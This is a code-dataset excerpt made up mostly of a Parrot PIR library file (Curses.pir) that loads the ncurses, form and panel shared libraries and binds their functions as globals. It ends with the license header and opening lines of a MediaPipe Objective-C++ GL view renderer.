| Racket | 4 | racket-tw/drracket | drracket/scribblings/drracket/files.scrbl | [
"Apache-2.0",
"MIT"
] |
# Copyright (C) 2004-2015, Parrot Foundation.
.macro export_dl_func(lib, name, sig)
.local pmc edlftmp
dlfunc edlftmp, .lib, .name, .sig
set_global .name, edlftmp
.endm
.namespace ['Curses']
.sub __ncurses_init :load
loadlib $P1, 'libform'
if $P1 goto has_lib
loadlib $P1, 'cygform-8'
if $P1 goto has_lib
$P0 = new 'Exception'
$P0 = "curses shared library 'libform' not found!"
throw $P0
branch has_lib
has_lib:
#export_dl_func($P1, 'new_field', 'piiiiii')
dlfunc $P2, $P1, 'new_field', 'piiiiii'
set_global 'new_field', $P2
dlfunc $P2, $P1, 'dup_field', 'ppii'
set_global 'dup_field', $P2
dlfunc $P2, $P1, 'link_field', 'ppii'
set_global 'link_field', $P2
dlfunc $P2, $P1, 'free_field', 'ip'
set_global 'free_field', $P2
dlfunc $P2, $P1, 'field_info', 'ip333333'
set_global 'field_info', $P2
dlfunc $P2, $P1, 'dynamic_field_info', 'ip333'
set_global 'dynamic_field_info', $P2
dlfunc $P2, $P1, 'set_max_field', 'ipi'
set_global 'set_max_field', $P2
dlfunc $P2, $P1, 'move_field', 'ipii'
set_global 'move_field', $P2
dlfunc $P2, $P1, 'set_new_page', 'ipl'
set_global 'set_new_page', $P2
dlfunc $P2, $P1, 'set_field_just', 'ipi'
set_global 'set_field_just', $P2
dlfunc $P2, $P1, 'field_just', 'ip'
set_global 'field_just', $P2
dlfunc $P2, $P1, 'set_field_fore', 'ipl'
set_global 'set_field_fore', $P2
dlfunc $P2, $P1, 'set_field_back', 'ipl'
set_global 'set_field_back', $P2
dlfunc $P2, $P1, 'set_field_pad', 'ipi'
set_global 'set_field_pad', $P2
dlfunc $P2, $P1, 'field_pad', 'ip'
set_global 'field_pad', $P2
dlfunc $P2, $P1, 'set_field_buffer', 'ipit'
set_global 'set_field_buffer', $P2
dlfunc $P2, $P1, 'set_field_status', 'ipl'
set_global 'set_field_status', $P2
dlfunc $P2, $P1, 'set_field_userptr', 'ipp'
set_global 'set_field_userptr', $P2
dlfunc $P2, $P1, 'set_field_opts', 'ipi'
set_global 'set_field_opts', $P2
dlfunc $P2, $P1, 'field_opts_on', 'ipi'
set_global 'field_opts_on', $P2
dlfunc $P2, $P1, 'field_opts_off', 'ipi'
set_global 'field_opts_off', $P2
dlfunc $P2, $P1, 'field_fore', 'lp'
set_global 'field_fore', $P2
dlfunc $P2, $P1, 'field_back', 'ip'
set_global 'field_back', $P2
dlfunc $P2, $P1, 'new_page', 'lp'
set_global 'new_page', $P2
dlfunc $P2, $P1, 'field_status', 'lp'
set_global 'field_status', $P2
dlfunc $P2, $P1, 'field_arg', 'pp'
set_global 'field_arg', $P2
dlfunc $P2, $P1, 'field_userptr', 'pp'
set_global 'field_userptr', $P2
dlfunc $P2, $P1, 'field_type', 'pp'
set_global 'field_type', $P2
dlfunc $P2, $P1, 'field_buffer', 'tpi'
set_global 'field_buffer', $P2
dlfunc $P2, $P1, 'field_opts', 'lp'
set_global 'field_opts', $P2
#dlfunc $P2, $P1, 'new_form', 'pb'
dlfunc $P2, $P1, 'new_form', 'pt'
set_global 'new_form', $P2
dlfunc $P2, $P1, 'current_field', 'pp'
set_global 'current_field', $P2
dlfunc $P2, $P1, 'form_win', 'pp'
set_global 'form_win', $P2
dlfunc $P2, $P1, 'form_sub', 'pp'
set_global 'form_sub', $P2
dlfunc $P2, $P1, 'free_form', 'ip'
set_global 'free_form', $P2
#dlfunc $P2, $P1, 'set_form_fields', 'ipb'
dlfunc $P2, $P1, 'set_form_fields', 'ipt'
set_global 'set_form_fields', $P2
dlfunc $P2, $P1, 'field_count', 'ip'
set_global 'field_count', $P2
dlfunc $P2, $P1, 'set_form_win', 'ipp'
set_global 'set_form_win', $P2
dlfunc $P2, $P1, 'set_form_sub', 'ipp'
set_global 'set_form_sub', $P2
dlfunc $P2, $P1, 'set_current_field', 'ipp'
set_global 'set_current_field', $P2
dlfunc $P2, $P1, 'field_index', 'ip'
set_global 'field_index', $P2
dlfunc $P2, $P1, 'set_form_page', 'ipi'
set_global 'set_form_page', $P2
dlfunc $P2, $P1, 'form_page', 'ip'
set_global 'form_page', $P2
dlfunc $P2, $P1, 'scale_form', 'ip33'
set_global 'scale_form', $P2
dlfunc $P2, $P1, 'post_form', 'ip'
set_global 'post_form', $P2
dlfunc $P2, $P1, 'unpost_form', 'ip'
set_global 'unpost_form', $P2
dlfunc $P2, $P1, 'pos_form_cursor', 'ip'
set_global 'pos_form_cursor', $P2
dlfunc $P2, $P1, 'form_driver', 'ipi'
set_global 'form_driver', $P2
dlfunc $P2, $P1, 'set_form_userptr', 'ipp'
set_global 'set_form_userptr', $P2
dlfunc $P2, $P1, 'set_form_opts', 'ipi'
set_global 'set_form_opts', $P2
dlfunc $P2, $P1, 'form_opts_on', 'ipi'
set_global 'form_opts_on', $P2
dlfunc $P2, $P1, 'form_opts_off', 'ipi'
set_global 'form_opts_off', $P2
dlfunc $P2, $P1, 'form_request_by_name', 'it'
set_global 'form_request_by_name', $P2
dlfunc $P2, $P1, 'form_request_name', 'ti'
set_global 'form_request_name', $P2
dlfunc $P2, $P1, 'form_userptr', 'pp'
set_global 'form_userptr', $P2
dlfunc $P2, $P1, 'form_opts', 'ip'
set_global 'form_opts', $P2
dlfunc $P2, $P1, 'data_ahead', 'lp'
set_global 'data_ahead', $P2
dlfunc $P2, $P1, 'data_behind', 'lp'
set_global 'data_behind', $P2
loadlib $P1, 'libpanel'
if $P1 goto has_panel_lib
loadlib $P1, 'cygpanel-8'
if $P1 goto has_panel_lib
$P0 = new 'Exception'
$P0 = "curses shared library 'libpanel' not found!"
throw $P0
branch has_panel_lib
goto no_panel_lib
has_panel_lib:
.export_dl_func($P1, 'new_panel', 'pp')
.export_dl_func($P1, 'bottom_panel', 'ip')
.export_dl_func($P1, 'top_panel', 'ip')
.export_dl_func($P1, 'show_panel', 'ip')
.export_dl_func($P1, 'update_panels', 'v')
.export_dl_func($P1, 'hide_panel', 'ip')
.export_dl_func($P1, 'panel_window', 'pp')
.export_dl_func($P1, 'replace_panel', 'ipp')
.export_dl_func($P1, 'move_panel', 'ipii')
.export_dl_func($P1, 'panel_hidden', 'ip')
.export_dl_func($P1, 'panel_above', 'pp')
.export_dl_func($P1, 'panel_below', 'pp')
.export_dl_func($P1, 'set_panel_userptr', 'ipp')
.export_dl_func($P1, 'panel_userptr', 'vp')
.export_dl_func($P1, 'del_panel', 'ip')
no_panel_lib:
loadlib $P1, 'libncurses'
if $P1 goto has_lib1
loadlib $P1, 'libncurses.so.5'
if $P1 goto has_lib1
loadlib $P1, 'cygncurses-8'
if $P1 goto has_lib1
$P0 = new 'Exception'
$P0 = "ncurses shared library 'libncurses' not found!"
throw $P0
branch has_lib1
has_lib1:
dlfunc $P2, $P1, 'keybound', 'tii'
set_global 'keybound', $P2
dlfunc $P2, $P1, 'curses_version', 't'
set_global 'curses_version', $P2
dlfunc $P2, $P1, 'assume_default_colors', 'iii'
set_global 'assume_default_colors', $P2
dlfunc $P2, $P1, 'define_key', 'iti'
set_global 'define_key', $P2
dlfunc $P2, $P1, 'keyok', 'iii'
set_global 'keyok', $P2
dlfunc $P2, $P1, 'resizeterm', 'iii'
set_global 'resizeterm', $P2
dlfunc $P2, $P1, 'use_default_colors', 'i'
set_global 'use_default_colors', $P2
dlfunc $P2, $P1, 'use_extended_names', 'ii'
set_global 'use_extended_names', $P2
dlfunc $P2, $P1, 'wresize', 'ipii'
set_global 'wresize', $P2
dlfunc $P2, $P1, 'addch', 'il'
set_global 'addch', $P2
dlfunc $P2, $P1, 'addchnstr', 'i4i'
set_global 'addchnstr', $P2
dlfunc $P2, $P1, 'addchstr', 'i4'
set_global 'addchstr', $P2
dlfunc $P2, $P1, 'addnstr', 'iti'
set_global 'addnstr', $P2
dlfunc $P2, $P1, 'addstr', 'it'
set_global 'addstr', $P2
dlfunc $P2, $P1, 'attroff', 'il'
set_global 'attroff', $P2
dlfunc $P2, $P1, 'attron', 'il'
set_global 'attron', $P2
dlfunc $P2, $P1, 'attrset', 'il'
set_global 'attrset', $P2
dlfunc $P2, $P1, 'attr_get', 'i42p'
set_global 'attr_get', $P2
dlfunc $P2, $P1, 'attr_off', 'ilp'
set_global 'attr_off', $P2
dlfunc $P2, $P1, 'attr_on', 'ilp'
set_global 'attr_on', $P2
dlfunc $P2, $P1, 'attr_set', 'ilsp'
set_global 'attr_set', $P2
dlfunc $P2, $P1, 'baudrate', 'i'
set_global 'baudrate', $P2
dlfunc $P2, $P1, 'beep', 'i'
set_global 'beep', $P2
dlfunc $P2, $P1, 'bkgd', 'il'
set_global 'bkgd', $P2
dlfunc $P2, $P1, 'bkgdset', 'vl'
set_global 'bkgdset', $P2
dlfunc $P2, $P1, 'border', 'villllllll'
set_global 'border', $P2
dlfunc $P2, $P1, 'box', 'ipll'
set_global 'box', $P2
dlfunc $P2, $P1, 'can_change_color', 'l'
set_global 'can_change_color', $P2
dlfunc $P2, $P1, 'cbreak', 'i'
set_global 'cbreak', $P2
dlfunc $P2, $P1, 'chgat', 'iilsp'
set_global 'chgat', $P2
dlfunc $P2, $P1, 'clear', 'i'
set_global 'clear', $P2
dlfunc $P2, $P1, 'clearok', 'ipl'
set_global 'clearok', $P2
dlfunc $P2, $P1, 'clrtobot', 'i'
set_global 'clrtobot', $P2
dlfunc $P2, $P1, 'clrtoeol', 'i'
set_global 'clrtoeol', $P2
dlfunc $P2, $P1, 'color_content', 'is222'
set_global 'color_content', $P2
dlfunc $P2, $P1, 'color_set', 'isp'
set_global 'color_set', $P2
dlfunc $P2, $P1, 'COLOR_PAIR', 'ii'
set_global 'COLOR_PAIR', $P2
dlfunc $P2, $P1, 'copywin', 'ippiiiiiiii'
set_global 'copywin', $P2
dlfunc $P2, $P1, 'curs_set', 'ii'
set_global 'curs_set', $P2
dlfunc $P2, $P1, 'def_prog_mode', 'i'
set_global 'def_prog_mode', $P2
dlfunc $P2, $P1, 'def_shell_mode', 'i'
set_global 'def_shell_mode', $P2
dlfunc $P2, $P1, 'delay_output', 'ii'
set_global 'delay_output', $P2
dlfunc $P2, $P1, 'delch', 'i'
set_global 'delch', $P2
dlfunc $P2, $P1, 'delscreen', 'vp'
set_global 'delscreen', $P2
dlfunc $P2, $P1, 'delwin', 'ip'
set_global 'delwin', $P2
dlfunc $P2, $P1, 'deleteln', 'i'
set_global 'deleteln', $P2
dlfunc $P2, $P1, 'derwin', 'ppiiii'
set_global 'derwin', $P2
dlfunc $P2, $P1, 'doupdate', 'i'
set_global 'doupdate', $P2
dlfunc $P2, $P1, 'dupwin', 'pp'
set_global 'dupwin', $P2
dlfunc $P2, $P1, 'echo', 'i'
set_global 'echo', $P2
dlfunc $P2, $P1, 'echochar', 'il'
set_global 'echochar', $P2
dlfunc $P2, $P1, 'erase', 'i'
set_global 'erase', $P2
dlfunc $P2, $P1, 'endwin', 'i'
set_global 'endwin', $P2
dlfunc $P2, $P1, 'erasechar', 'c'
set_global 'erasechar', $P2
dlfunc $P2, $P1, 'filter', 'v'
set_global 'filter', $P2
dlfunc $P2, $P1, 'flash', 'i'
set_global 'flash', $P2
dlfunc $P2, $P1, 'flushinp', 'i'
set_global 'flushinp', $P2
dlfunc $P2, $P1, 'getbkgd', 'lp'
set_global 'getbkgd', $P2
dlfunc $P2, $P1, 'getch', 'i'
set_global 'getch', $P2
dlfunc $P2, $P1, 'getnstr', 'iti'
set_global 'getnstr', $P2
dlfunc $P2, $P1, 'getstr', 'it'
set_global 'getstr', $P2
dlfunc $P2, $P1, 'getwin', 'pp'
set_global 'getwin', $P2
dlfunc $P2, $P1, 'halfdelay', 'ii'
set_global 'halfdelay', $P2
dlfunc $P2, $P1, 'has_colors', 'i'
set_global 'has_colors', $P2
dlfunc $P2, $P1, 'has_ic', 'i'
set_global 'has_ic', $P2
dlfunc $P2, $P1, 'has_il', 'i'
set_global 'has_il', $P2
dlfunc $P2, $P1, 'hline', 'ili'
set_global 'hline', $P2
dlfunc $P2, $P1, 'idcok', 'vpl'
set_global 'idcok', $P2
dlfunc $P2, $P1, 'idlok', 'ipl'
set_global 'idlok', $P2
dlfunc $P2, $P1, 'immedok', 'vpl'
set_global 'immedok', $P2
dlfunc $P2, $P1, 'inch', 'l'
set_global 'inch', $P2
dlfunc $P2, $P1, 'inchnstr', 'i4i'
set_global 'inchnstr', $P2
dlfunc $P2, $P1, 'inchstr', 'i4'
set_global 'inchstr', $P2
dlfunc $P2, $P1, 'initscr', 'p'
set_global 'initscr', $P2
dlfunc $P2, $P1, 'init_color', 'issss'
set_global 'init_color', $P2
dlfunc $P2, $P1, 'init_pair', 'isss'
set_global 'init_pair', $P2
dlfunc $P2, $P1, 'innstr', 'iti'
set_global 'innstr', $P2
dlfunc $P2, $P1, 'insstr', 'it'
set_global 'insstr', $P2
dlfunc $P2, $P1, 'instr', 'it'
set_global 'instr', $P2
dlfunc $P2, $P1, 'intrflush', 'ipl'
set_global 'intrflush', $P2
dlfunc $P2, $P1, 'isendwin', 'l'
set_global 'isendwin', $P2
dlfunc $P2, $P1, 'is_linetouched', 'lpi'
set_global 'is_linetouched', $P2
dlfunc $P2, $P1, 'is_wintouched', 'lp'
set_global 'is_wintouched', $P2
dlfunc $P2, $P1, 'keyname', 'ti'
set_global 'keyname', $P2
dlfunc $P2, $P1, 'keypad', 'ipl'
set_global 'keypad', $P2
dlfunc $P2, $P1, 'killchar', 'c'
set_global 'killchar', $P2
dlfunc $P2, $P1, 'leaveok', 'ipl'
set_global 'leaveok', $P2
dlfunc $P2, $P1, 'longname', 't'
set_global 'longname', $P2
dlfunc $P2, $P1, 'meta', 'ipl'
set_global 'meta', $P2
dlfunc $P2, $P1, 'move', 'iii'
set_global 'move', $P2
dlfunc $P2, $P1, 'mvaddch', 'iiil'
set_global 'mvaddch', $P2
dlfunc $P2, $P1, 'mvaddchnstr', 'iii4i'
set_global 'mvaddchnstr', $P2
dlfunc $P2, $P1, 'mvaddchstr', 'iii4'
set_global 'mvaddchstr', $P2
dlfunc $P2, $P1, 'mvaddnstr', 'iiiti'
set_global 'mvaddnstr', $P2
dlfunc $P2, $P1, 'mvaddstr', 'iiit'
set_global 'mvaddstr', $P2
dlfunc $P2, $P1, 'mvchgat', 'iiiilsp'
set_global 'mvchgat', $P2
#dlfunc $P2, $P1, 'mvcur', 'iiiii'
#set_global 'mvcur', $P2
dlfunc $P2, $P1, 'mvdelch', 'iii'
set_global 'mvdelch', $P2
dlfunc $P2, $P1, 'mvderwin', 'ipii'
set_global 'mvderwin', $P2
dlfunc $P2, $P1, 'mvgetch', 'iii'
set_global 'mvgetch', $P2
dlfunc $P2, $P1, 'mvgetnstr', 'iiiti'
set_global 'mvgetnstr', $P2
dlfunc $P2, $P1, 'mvgetstr', 'iiit'
set_global 'mvgetstr', $P2
dlfunc $P2, $P1, 'mvhline', 'iiili'
set_global 'mvhline', $P2
dlfunc $P2, $P1, 'mvinch', 'lii'
set_global 'mvinch', $P2
dlfunc $P2, $P1, 'mvinchnstr', 'iiiti'
set_global 'mvinchnstr', $P2
dlfunc $P2, $P1, 'mvinchstr', 'iii4'
set_global 'mvinchstr', $P2
dlfunc $P2, $P1, 'mvinnstr', 'iiiti'
set_global 'mvinnstr', $P2
dlfunc $P2, $P1, 'mvinsch', 'iiil'
set_global 'mvinsch', $P2
dlfunc $P2, $P1, 'mvinsnstr', 'iiiti'
set_global 'mvinsnstr', $P2
dlfunc $P2, $P1, 'mvinsstr', 'iiit'
set_global 'mvinsstr', $P2
dlfunc $P2, $P1, 'mvvline', 'iiili'
set_global 'mvvline', $P2
dlfunc $P2, $P1, 'mvwaddch', 'ipiil'
set_global 'mvwaddch', $P2
dlfunc $P2, $P1, 'mvwaddchnstr', 'ipii4i'
set_global 'mvwaddchnstr', $P2
dlfunc $P2, $P1, 'mvwaddchstr', 'ipii4'
set_global 'mvwaddchstr', $P2
dlfunc $P2, $P1, 'mvwaddnstr', 'ipiiti'
set_global 'mvwaddnstr', $P2
dlfunc $P2, $P1, 'mvwaddstr', 'ipiit'
set_global 'mvwaddstr', $P2
dlfunc $P2, $P1, 'mvwchgat', 'ipiiilsp'
set_global 'mvwchgat', $P2
dlfunc $P2, $P1, 'mvwdelch', 'ipii'
set_global 'mvwdelch', $P2
dlfunc $P2, $P1, 'mvwgetch', 'ipii'
set_global 'mvwgetch', $P2
dlfunc $P2, $P1, 'mvwgetnstr', 'ipiiti'
set_global 'mvwgetnstr', $P2
dlfunc $P2, $P1, 'mvwgetstr', 'ipiit'
set_global 'mvwgetstr', $P2
dlfunc $P2, $P1, 'mvwhline', 'ipiili'
set_global 'mvwhline', $P2
dlfunc $P2, $P1, 'mvwin', 'ipii'
set_global 'mvwin', $P2
dlfunc $P2, $P1, 'mvwinch', 'lpii'
set_global 'mvwinch', $P2
dlfunc $P2, $P1, 'mvwinchnstr', 'ipii4i'
set_global 'mvwinchnstr', $P2
dlfunc $P2, $P1, 'mvwinchstr', 'ipii4'
set_global 'mvwinchstr', $P2
dlfunc $P2, $P1, 'mvwinnstr', 'ipiiti'
set_global 'mvwinnstr', $P2
dlfunc $P2, $P1, 'mvwinsch', 'ipiil'
set_global 'mvwinsch', $P2
dlfunc $P2, $P1, 'mvwinsnstr', 'ipiiti'
set_global 'mvwinsnstr', $P2
dlfunc $P2, $P1, 'mvwinsstr', 'ipiit'
set_global 'mvwinsstr', $P2
dlfunc $P2, $P1, 'mvwinstr', 'ipiit'
set_global 'mvwinstr', $P2
dlfunc $P2, $P1, 'mvwvline', 'ipiili'
set_global 'mvwvline', $P2
dlfunc $P2, $P1, 'napms', 'ii'
set_global 'napms', $P2
dlfunc $P2, $P1, 'newpad', 'pii'
set_global 'newpad', $P2
dlfunc $P2, $P1, 'newterm', 'ptpp'
set_global 'newterm', $P2
dlfunc $P2, $P1, 'newwin', 'piiii'
set_global 'newwin', $P2
dlfunc $P2, $P1, 'nl', 'i'
set_global 'nl', $P2
dlfunc $P2, $P1, 'nocbreak', 'i'
set_global 'nocbreak', $P2
dlfunc $P2, $P1, 'nodelay', 'ipl'
set_global 'nodelay', $P2
dlfunc $P2, $P1, 'noecho', 'i'
set_global 'noecho', $P2
dlfunc $P2, $P1, 'nonl', 'i'
set_global 'nonl', $P2
dlfunc $P2, $P1, 'noqiflush', 'v'
set_global 'noqiflush', $P2
dlfunc $P2, $P1, 'noraw', 'i'
set_global 'noraw', $P2
dlfunc $P2, $P1, 'notimeout', 'ipl'
set_global 'notimeout', $P2
dlfunc $P2, $P1, 'overlay', 'ipp'
set_global 'overlay', $P2
dlfunc $P2, $P1, 'overwrite', 'ipp'
set_global 'overwrite', $P2
dlfunc $P2, $P1, 'pair_content', 'is22'
set_global 'pair_content', $P2
dlfunc $P2, $P1, 'PAIR_NUMBER', 'ii'
set_global 'PAIR_NUMBER', $P2
dlfunc $P2, $P1, 'pechochar', 'ipl'
set_global 'pechochar', $P2
dlfunc $P2, $P1, 'pnoutrefresh', 'ipiiiiii'
set_global 'pnoutrefresh', $P2
dlfunc $P2, $P1, 'prefresh', 'ipiiiiii'
set_global 'prefresh', $P2
dlfunc $P2, $P1, 'putp', 'it'
set_global 'putp', $P2
dlfunc $P2, $P1, 'putwin', 'ipp'
set_global 'putwin', $P2
dlfunc $P2, $P1, 'qiflush', 'v'
set_global 'qiflush', $P2
dlfunc $P2, $P1, 'raw', 'i'
set_global 'raw', $P2
dlfunc $P2, $P1, 'redrawwin', 'ip'
set_global 'redrawwin', $P2
dlfunc $P2, $P1, 'refresh', 'i'
set_global 'refresh', $P2
dlfunc $P2, $P1, 'resetty', 'i'
set_global 'resetty', $P2
dlfunc $P2, $P1, 'reset_prog_mode', 'i'
set_global 'reset_prog_mode', $P2
dlfunc $P2, $P1, 'reset_shell_mode', 'i'
set_global 'reset_shell_mode', $P2
dlfunc $P2, $P1, 'ripoffline', 'iiip'
set_global 'ripoffline', $P2
dlfunc $P2, $P1, 'savetty', 'i'
set_global 'savetty', $P2
dlfunc $P2, $P1, 'scr_dump', 'it'
set_global 'scr_dump', $P2
dlfunc $P2, $P1, 'scr_init', 'it'
set_global 'scr_init', $P2
dlfunc $P2, $P1, 'scrl', 'ii'
set_global 'scrl', $P2
dlfunc $P2, $P1, 'scroll', 'ip'
set_global 'scroll', $P2
dlfunc $P2, $P1, 'scrollok', 'ipl'
set_global 'scrollok', $P2
dlfunc $P2, $P1, 'scr_restore', 'it'
set_global 'scr_restore', $P2
dlfunc $P2, $P1, 'scr_set', 'it'
set_global 'scr_set', $P2
dlfunc $P2, $P1, 'setscrreg', 'iii'
set_global 'setscrreg', $P2
dlfunc $P2, $P1, 'set_term', 'pp'
set_global 'set_term', $P2
dlfunc $P2, $P1, 'slk_attroff', 'il'
set_global 'slk_attroff', $P2
dlfunc $P2, $P1, 'slk_attron', 'il'
set_global 'slk_attron', $P2
dlfunc $P2, $P1, 'slk_attrset', 'il'
set_global 'slk_attrset', $P2
dlfunc $P2, $P1, 'slk_attr', 'l'
set_global 'slk_attr', $P2
dlfunc $P2, $P1, 'slk_attr_set', 'ilsp'
set_global 'slk_attr_set', $P2
dlfunc $P2, $P1, 'slk_clear', 'i'
set_global 'slk_clear', $P2
dlfunc $P2, $P1, 'slk_color', 'is'
set_global 'slk_color', $P2
dlfunc $P2, $P1, 'slk_init', 'ii'
set_global 'slk_init', $P2
dlfunc $P2, $P1, 'slk_label', 'ti'
set_global 'slk_label', $P2
dlfunc $P2, $P1, 'slk_noutrefresh', 'i'
set_global 'slk_noutrefresh', $P2
dlfunc $P2, $P1, 'slk_refresh', 'i'
set_global 'slk_refresh', $P2
dlfunc $P2, $P1, 'slk_restore', 'i'
set_global 'slk_restore', $P2
dlfunc $P2, $P1, 'slk_set', 'iiti'
set_global 'slk_set', $P2
dlfunc $P2, $P1, 'slk_touch', 'i'
set_global 'slk_touch', $P2
dlfunc $P2, $P1, 'standout', 'i'
set_global 'standout', $P2
dlfunc $P2, $P1, 'standend', 'i'
set_global 'standend', $P2
dlfunc $P2, $P1, 'start_color', 'i'
set_global 'start_color', $P2
dlfunc $P2, $P1, 'subpad', 'ppiiii'
set_global 'subpad', $P2
dlfunc $P2, $P1, 'subwin', 'ppiiii'
set_global 'subwin', $P2
dlfunc $P2, $P1, 'syncok', 'ipl'
set_global 'syncok', $P2
dlfunc $P2, $P1, 'termattrs', 'l'
set_global 'termattrs', $P2
dlfunc $P2, $P1, 'termname', 't'
set_global 'termname', $P2
dlfunc $P2, $P1, 'tigetflag', 'it'
set_global 'tigetflag', $P2
dlfunc $P2, $P1, 'tigetnum', 'it'
set_global 'tigetnum', $P2
dlfunc $P2, $P1, 'tigetstr', 'tt'
set_global 'tigetstr', $P2
dlfunc $P2, $P1, 'timeout', 'vi'
set_global 'timeout', $P2
dlfunc $P2, $P1, 'typeahead', 'ii'
set_global 'typeahead', $P2
dlfunc $P2, $P1, 'ungetch', 'ii'
set_global 'ungetch', $P2
dlfunc $P2, $P1, 'untouchwin', 'ip'
set_global 'untouchwin', $P2
dlfunc $P2, $P1, 'use_env', 'vl'
set_global 'use_env', $P2
dlfunc $P2, $P1, 'vidattr', 'il'
set_global 'vidattr', $P2
dlfunc $P2, $P1, 'vidputs', 'ilp'
set_global 'vidputs', $P2
dlfunc $P2, $P1, 'vline', 'ili'
set_global 'vline', $P2
dlfunc $P2, $P1, 'waddch', 'ipl'
set_global 'waddch', $P2
dlfunc $P2, $P1, 'waddchnstr', 'ip4i'
set_global 'waddchnstr', $P2
dlfunc $P2, $P1, 'waddchstr', 'ip4'
set_global 'waddchstr', $P2
dlfunc $P2, $P1, 'waddnstr', 'ipti'
set_global 'waddnstr', $P2
dlfunc $P2, $P1, 'waddstr', 'ipt'
set_global 'waddstr', $P2
dlfunc $P2, $P1, 'wattron', 'ipi'
set_global 'wattron', $P2
dlfunc $P2, $P1, 'wattroff', 'ipi'
set_global 'wattroff', $P2
dlfunc $P2, $P1, 'wattrset', 'ipi'
set_global 'wattrset', $P2
dlfunc $P2, $P1, 'wattr_get', 'ip42p'
set_global 'wattr_get', $P2
dlfunc $P2, $P1, 'wattr_on', 'iplp'
set_global 'wattr_on', $P2
dlfunc $P2, $P1, 'wattr_off', 'iplp'
set_global 'wattr_off', $P2
dlfunc $P2, $P1, 'wattr_set', 'iplsp'
set_global 'wattr_set', $P2
dlfunc $P2, $P1, 'wbkgd', 'ipl'
set_global 'wbkgd', $P2
dlfunc $P2, $P1, 'wbkgdset', 'vpl'
set_global 'wbkgdset', $P2
dlfunc $P2, $P1, 'wborder', 'ipllllllll'
set_global 'wborder', $P2
dlfunc $P2, $P1, 'wchgat', 'ipilsp'
set_global 'wchgat', $P2
dlfunc $P2, $P1, 'wclear', 'ip'
set_global 'wclear', $P2
dlfunc $P2, $P1, 'wclrtobot', 'ip'
set_global 'wclrtobot', $P2
dlfunc $P2, $P1, 'wclrtoeol', 'ip'
set_global 'wclrtoeol', $P2
dlfunc $P2, $P1, 'wcolor_set', 'ipsp'
set_global 'wcolor_set', $P2
dlfunc $P2, $P1, 'wcursyncup', 'vp'
set_global 'wcursyncup', $P2
dlfunc $P2, $P1, 'wdelch', 'ip'
set_global 'wdelch', $P2
dlfunc $P2, $P1, 'wdeleteln', 'ip'
set_global 'wdeleteln', $P2
dlfunc $P2, $P1, 'wechochar', 'ipl'
set_global 'wechochar', $P2
dlfunc $P2, $P1, 'werase', 'ip'
set_global 'werase', $P2
dlfunc $P2, $P1, 'wgetch', 'ip'
set_global 'wgetch', $P2
dlfunc $P2, $P1, 'wgetnstr', 'ipti'
set_global 'wgetnstr', $P2
dlfunc $P2, $P1, 'wgetstr', 'ipt'
set_global 'wgetstr', $P2
dlfunc $P2, $P1, 'whline', 'ipli'
set_global 'whline', $P2
dlfunc $P2, $P1, 'winch', 'lp'
set_global 'winch', $P2
dlfunc $P2, $P1, 'winchnstr', 'ip4i'
set_global 'winchnstr', $P2
dlfunc $P2, $P1, 'winnstr', 'ipti'
set_global 'winnstr', $P2
dlfunc $P2, $P1, 'winsch', 'ipl'
set_global 'winsch', $P2
dlfunc $P2, $P1, 'winsdelln', 'ipi'
set_global 'winsdelln', $P2
dlfunc $P2, $P1, 'winsertln', 'ip'
set_global 'winsertln', $P2
dlfunc $P2, $P1, 'winsnstr', 'ipti'
set_global 'winsnstr', $P2
dlfunc $P2, $P1, 'winsstr', 'ipt'
set_global 'winsstr', $P2
dlfunc $P2, $P1, 'winstr', 'ipt'
set_global 'winstr', $P2
dlfunc $P2, $P1, 'wmove', 'ipii'
set_global 'wmove', $P2
dlfunc $P2, $P1, 'wnoutrefresh', 'ip'
set_global 'wnoutrefresh', $P2
dlfunc $P2, $P1, 'wredrawln', 'ipii'
set_global 'wredrawln', $P2
dlfunc $P2, $P1, 'wrefresh', 'ip'
set_global 'wrefresh', $P2
dlfunc $P2, $P1, 'wscrl', 'ipi'
set_global 'wscrl', $P2
dlfunc $P2, $P1, 'wsetscrreg', 'ipii'
set_global 'wsetscrreg', $P2
dlfunc $P2, $P1, 'wstandout', 'ip'
set_global 'wstandout', $P2
dlfunc $P2, $P1, 'wstandend', 'ip'
set_global 'wstandend', $P2
dlfunc $P2, $P1, 'wsyncdown', 'vp'
set_global 'wsyncdown', $P2
dlfunc $P2, $P1, 'wsyncup', 'vp'
set_global 'wsyncup', $P2
dlfunc $P2, $P1, 'wtimeout', 'vpi'
set_global 'wtimeout', $P2
dlfunc $P2, $P1, 'wtouchln', 'ipiii'
set_global 'wtouchln', $P2
dlfunc $P2, $P1, 'wvline', 'ipli'
set_global 'wvline', $P2
dlfunc $P2, $P1, 'getmouse', 'ip'
set_global 'getmouse', $P2
dlfunc $P2, $P1, 'ungetmouse', 'ip'
set_global 'ungetmouse', $P2
dlfunc $P2, $P1, 'mousemask', 'll4'
set_global 'mousemask', $P2
dlfunc $P2, $P1, 'wenclose', 'lpii'
set_global 'wenclose', $P2
dlfunc $P2, $P1, 'mouseinterval', 'ii'
set_global 'mouseinterval', $P2
dlfunc $P2, $P1, 'wmouse_trafo', 'lp33l'
set_global 'wmouse_trafo', $P2
dlfunc $P2, $P1, 'mouse_trafo', 'l33l'
set_global 'mouse_trafo', $P2
dlfunc $P2, $P1, 'mcprint', 'iti'
set_global 'mcprint', $P2
dlfunc $P2, $P1, 'has_key', 'ii'
set_global 'has_key', $P2
.export_dl_func($P1, 'getmaxx', 'ip')
.export_dl_func($P1, 'getmaxy', 'ip')
.begin_return
.end_return
.end
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 3 | winnit-myself/Wifie | runtime/parrot/library/Curses.pir | [
"Artistic-2.0"
] |
// Copyright 2019 The MediaPipe Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#import "MPPGLViewRenderer.h"
#include <OpenGLES/ES2/gl.h>
#include <OpenGLES/ES2/glext.h>
#include <algorithm>
#include <libkern/OSAtomic.h>
#include "absl/memory/memory.h"
#include "mediapipe/gpu/gl_quad_renderer.h"
#include "mediapipe/gpu/gl_simple_shaders.h"
#include "mediapipe/gpu/shader_util.h"
#import "mediapipe/objc/NSError+util_status.h"
#import "GTMDefines.h"
@implementation MPPGLViewRenderer {
/// Used to create textures for the pixel buffers to be rendered.
